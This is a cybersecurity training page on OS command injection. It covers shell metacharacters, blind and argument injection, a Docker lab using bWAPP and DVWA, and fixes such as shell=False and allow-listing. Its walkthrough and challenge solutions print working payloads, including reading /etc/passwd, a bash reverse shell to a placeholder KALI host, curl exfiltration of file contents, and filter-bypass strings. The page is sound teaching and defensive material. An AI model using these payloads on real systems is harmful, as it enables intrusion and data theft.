Home › Vulnerabilities › OS Command Injection
OS Command Injection
Shell metacharacters, argument injection, blind detection and safe process invocation.
▶ Here to build, not read? Jump to the Hands-On Practice.
Prerequisites: Web Application Architecture · HTTP for Security Testing
Overview
OS command injection occurs when an application builds a system-shell command out of untrusted input. The shell is a powerful interpreter with metacharacters (;, |, &, ` `, $()`) that separate and chain commands; when user input flows into a command string unescaped, those metacharacters let an attacker append or substitute commands that run with the application's privileges. It is the same code/data confusion as SQL injection, but the interpreter is the operating-system shell, and the payoff is usually direct RCE.
The definitive fix is architectural, not cosmetic: do not invoke a shell at all. Call the target program directly through an API that takes an array of arguments (execve, subprocess.run([...], shell=False)), so the OS treats each argument as opaque data and there is no shell to interpret metacharacters. Escaping is a fragile fallback; avoiding the shell removes the vulnerability class.
How it works
A vulnerable ping feature:
os.system("ping -c 1 " + user_host) # user_host = "8.8.8.8; cat /etc/passwd"The shell runs ping, sees ;, and runs cat /etc/passwd next. Variants:
- In-band — output is returned, so
; idshows immediately. - Blind — no output; confirm with time (
; sleep 5) or an out-of-band callback (; curl http://you/$(whoami)). - Argument injection — even without shell metacharacters, injecting extra flags (e.g. a leading
-) changes the invoked program's behaviour dangerously.
The safe version passes an argument list and no shell:
subprocess.run(["ping", "-c", "1", user_host], shell=False) # user_host can never become a new commandflowchart TD
A["OS Command Injection"] --> B["Concepts & terminology"]
A --> C["Internal mechanics"]
C --> D["Trust boundaries"]
D --> E["Attack surface"]
D --> F["Defensive controls"]
E --> G["Detection & telemetry"]
F --> G
G --> H["Verification in the lab"]
- Shell metacharacter — A character the shell treats specially (
; | & $ ( )< >`) to chain or substitute commands. - Argument injection — Injecting extra flags into a command even when metacharacters are blocked.
- Blind command injection — No command output returned; inferred via timing or out-of-band callbacks.
- Shell=False / execve — Invoking a program directly with an argument array, bypassing shell parsing.
- Allow-list validation — Restricting input to a known-good set when a value must be interpolated.
executed trailing commands, so () { :; }; <command> in an environment variable ran that command. Via CGI, web requests set those variables, yielding unauthenticated RCE on countless servers. The lesson: interpreters evaluate more than you think, and the safe path is to never let untrusted data reach one.
Hands-On Practice
Mission. Turn a 'ping/lookup' feature into command execution, go blind, then fix it by removing the shell.
🧪 Lab setup — Vulnerabilities
bWAPP / DVWA / Juice Shop— the web bug targets (see the Web Security part environment)pwn-box— Ubuntu build/debug container for buffer/heap/format-string labs
# vuln-lab/docker-compose.yml — Vulnerabilities part environment
services:
bwapp:
image: raesene/bwapp
ports: ["8081:80"]
networks: [labnet]
dvwa:
image: vulnerables/web-dvwa
ports: ["8082:80"]
networks: [labnet]
pwn-box:
image: ubuntu:22.04
container_name: pwn-box
cap_add: ["SYS_PTRACE"] # allow gdb inside the container
security_opt: ["seccomp=unconfined"]
command: sleep infinity
networks: [labnet]
networks:
labnet:
driver: bridgeTarget for this lesson: bWAPP → OS Command Injection at http://localhost:8081 (DNS lookup form). Full setup: Vulnerabilities lab environment.
Guided walkthrough
# bWAPP commandi.php: enter www.nsa.govExpected output
The page returns nslookup output — the app shells out to a system command.www.nsa.gov; idExpected output
uid=33(www-data) gid=33(www-data) groups=33(www-data); ended the intended command and the shell ran id next — code execution as www-data.www.nsa.gov; sleep 5Expected output
The response takes ~5s — command runs even when output isn't shown.www.nsa.gov; bash -c 'bash -i >& /dev/tcp/KALI/9001 0>&1' # nc -lvnp 9001 on KaliExpected output
A reverse shell lands on your listener as www-data.# subprocess.run(['nslookup', host], shell=False) + allow-list the host formatExpected output
`; id` is now treated as part of the hostname argument and simply fails to resolve.Live terminal
labserver/README.md), then click Connect lab runner and paste the token. Until then, copy commands from the walkthrough and run them in your own Kali terminal.
Try it yourself
Challenge 1. Exfiltrate /etc/passwd one line at a time using only blind injection (no reverse shell).
Hint
Use an OOB channel: DNS/HTTP callback with command output in the request.
Solution
...; curl http://KALI:9001/$(head -1 /etc/passwd|base64) and read your listener log.
Challenge 2. The app blocks ; and &. Get execution anyway.
Hint
Newlines, |, $() and backticks also chain/substitute.
Solution
www.nsa.gov%0aid (URL-encoded newline) or $(id) command substitution.
Challenge 3. Demonstrate argument injection with NO metacharacters at all.
Hint
A leading dash makes your input look like a flag.
Solution
Against a tool like find/tar, an input of -exec ... or --checkpoint-action abuses parsing without any ;.
Quick quiz
Detect & defend (blue-team view)
- Alert on the web-server user (
www-data) spawning child processes likesh,bash,curl,nslookup. - Auditd/Sysmon process-creation events with a web process parent are high-signal.
Skills check
You can move on when you can, without notes:
Going deeper — Testing and fixing
Detect by probing each parameter that might reach a command:
; id | id & id $(id) `id`
%0a id || id && id ; sleep 5 ; curl http://OOB/$(whoami)Fix, in order of preference:
- Avoid the shell — call the binary with an argument array (
shell=False); this is the real fix. - Avoid invoking external programs at all where a library call will do (resolve DNS, process an image in-process).
- Allow-list the input where a value must be passed (e.g. a hostname matched against a strict pattern).
- Never rely on blacklisting metacharacters — encodings and shells differ, and argument injection remains.
Detection: alert on the web-server user spawning shells or unexpected child processes.
Check Yourself
Quick self-test — answers hidden. If you can't answer without notes, redo the relevant walkthrough step.
Q1. In one sentence, what security problem does OS Command Injection address or create?
Show answer
OS Command Injection matters because its behaviour determines where trust is placed; misplacing that trust is the root of the associated bug class.
Q2. Name one trust boundary involved in OS Command Injection and what crosses it.
Show answer
Any point where attacker-influenced data meets privileged processing — e.g. user input reaching an interpreter, or a token reaching a verifier.
Q3. Give one attack against OS Command Injection and the single control that most reduces its impact.
Show answer
State the attack precisely, then the primary control (validation, encoding, isolation, authentication, or least privilege) — not a laundry list.
Interview angles
- Walk me through how OS Command Injection works, then tell me where you would attack it.
- How would you detect OS Command Injection being abused in an environment you defend?
- What is the difference between mitigating and eliminating the risk associated with OS Command Injection?
Pitfalls & Best Practice
Common mistakes
- Building command strings with user input and passing them to a shell.
- Blacklisting a few metacharacters instead of avoiding the shell entirely.
- Forgetting argument injection — a leading dash can change a program's behaviour without any metacharacter.
- Shelling out to a tool when an in-process library would avoid the risk completely.
- Missing blind injection because 'nothing came back' — timing/OOB still confirms it.
Do this instead
- Invoke programs with an argument array and shell=False; never construct shell strings from input.
- Prefer in-process libraries over spawning external commands.
- Where interpolation is unavoidable, allow-list against a strict pattern.
- Run the service least-privilege so successful injection yields little.
- Detect web-server processes spawning shells or unexpected children.
Reference
MITRE ATT&CK Mapping
| Technique | ID |
|---|---|
| ATT&CK technique | T1059 |
OWASP Mapping
- See OWASP Top 10 for the relevant category when this applies to web systems.
CWE Mapping
| CWE | Weakness |
|---|---|
| CWE-78 | OS Command Injection |
| CWE-77 | Command Injection |
CAPEC Mapping
| CAPEC | Attack pattern |
|---|---|
| CAPEC-248 | Command Injection |
CVE References
- No canonical CVE for a concept page. Search the NVD for concrete instances when studying real cases.
NIST References
- NIST CSRC Publications — search for the control family or guide relevant to this topic.
RFC References
- No governing RFC for this topic. Where a protocol is involved, its RFC is linked from the relevant networking chapter.
Research Papers
- Reflections on Trusting Trust — Ken Thompson, 1984
- Smashing the Stack for Fun and Profit — Aleph One, Phrack 49, 1996
- The Protection of Information in Computer Systems — Saltzer & Schroeder, 1975
Books
- The Web Application Hacker's Handbook, 2nd ed. — Stuttard & Pinto
- Real-World Bug Hunting — Peter Yaworski
- The Tangled Web — Michal Zalewski
- Web Security for Developers — Malcolm McDonald
Official Documentation
Related Chapters
Part of the Vulnerabilities section of Cybersecurity-Mastery. 🟡 Intermediate · ~48 min hands-on · Last updated 2026-08-12.